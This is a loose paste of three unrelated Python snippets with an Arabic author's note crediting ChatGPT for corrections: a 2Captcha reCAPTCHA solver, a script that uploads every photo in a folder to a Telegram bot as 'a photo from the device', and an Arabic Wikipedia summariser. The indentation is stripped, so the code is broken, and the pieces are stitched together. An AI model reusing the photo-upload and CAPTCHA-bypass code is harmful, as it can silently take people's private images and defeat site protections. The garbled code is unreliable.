from twocaptcha import TwoCaptcha

def solv_recaptcha(site_key, url):
    solver = TwoCaptcha('YOUR_API_KEY')
    result = solver.recaptcha(sitekey=site_key, url=url)
    return result['code']

# مثال للاستخدام
site_key = '6Lc2nScTAAAAAJtlog8urtCk1c-d6_KzYSyWRKc'
url = 'https://example.com/recaptcha'
V2recaptcha = solv_recaptcha(site_key, url)

import os
import requests

# Replace 'YOUR_BOT_TOKEN' with your actual Telegram bot token
bot_token = 'YOUR_BOT_TOKEN'

# Replace 'YOUR_CHAT_ID' with the chat ID of the recipient
chat_id = 'YOUR_CHAT_ID'

# Replace 'PHOTOS_DIRECTORY' with the directory path where the photos are stored
photos_directory = 'PHOTOS_DIRECTORY'

# Define the URL for sending photos
url = f'https://api.telegram.org/bot{bot_token}/sendPhoto'

# Get the file paths of all the photos in the directory
photo_file_paths = [os.path.join(photos_directory, file) for file in os.listdir(photos_directory) if file.endswith(('.jpg', '.jpeg', '.png', '.gif'))]

# Send each photo to the Telegram bot
for photo_file_path in photo_file_paths:
try:
# Open the photo file
with open(photo_file_path, 'rb') as photo_file:
# Define the payload for sending the photo
payload = {
'chat_id': chat_id,
'caption': 'This is a photo from the device',
'parse_mode': 'HTML'
}

# Define the files to send
files = {
'photo': photo_file
}

# Send the photo to the Telegram bot
response = requests.post(url, data=payload, files=files)

# Check the response
if response.status_code == 200:
print(f'Photo {photo_file_path} sent successfully.')
else:
print(f'Error occurred: {response.text}')

except Exception as e:
print(f'Failed to send photo {photo_file_path}: {e}')

import wikipediaapi
from transformers import pipeline

# إعداد اللغة العربية للبحث في ويكيبيديا
wiki = wikipediaapi.Wikipedia('ar')

# نموذج التلخيص من مكتبة transformers
summarizer = pipeline("summarization", model="facebook/bart-large-cnn")

def fetch_wikipedia_content(topic):
"""جلب محتوى من ويكيبيديا"""
page = wiki.page(topic)
if not page.exists():
return None
return page

def summarize_content(text, max_length=200):
"""تلخيص النص باستخدام نموذج الذكاء الاصطناعي"""
if len(text.split()) <= max_length:
return text # إذا كان النص قصيرًا، لا حاجة للتلخيص
try:
summary = summarizer(text, max_length=max_length, min_length=100, do_sample=False)
return summary[0]['summary_text']
except Exception as e:
return text # في حالة الخطأ، نعيد النص الأصلي

def generate_research(topic):
# 1. جمع المعلومات من ويكيبيديا
page = fetch_wikipedia_content(topic)
if page is None:
return f"عذرًا، لم أتمكن من العثور على معلومات حول الموضوع '{topic}'."

# 2. إعداد البحث
research = {}
research['مقدمة'] = f"في هذا البحث، سنستعرض موضوع '{topic}' من مختلف الجوانب."
research['ملخص عن الموضوع'] = summarize_content(page.summary[:1500])

# 3. إضافة أقسام البحث من ويكيبيديا
for section in page.sections:
research[section.title] = summarize_content(section.text[:1500])

# 4. إضافة خاتمة
research['خاتمة'] = f"بهذا نكون قد استعرضنا أهم الجوانب المتعلقة بموضوع '{topic}'."

# 5. إعداد قائمة مراجع
research['المراجع'] = "المصدر الأساسي: ويكيبيديا العربية"

# تجميع البحث
full_research = "\n\n".join([f"{title}:\n{content}" for title, content in research.items()])
return full_research

# طلب الموضوع من المستخدم
topic = input("اكتب موضوع البحث: ")
research_content = generate_research(topic)

# عرض البحث المكتوب
print(research_content)

الكود كاتبتي ، الفكرة فكرتي ، تصحيح chatgpt ، تعليقات chat gpt

telebot,datetime,gtts

python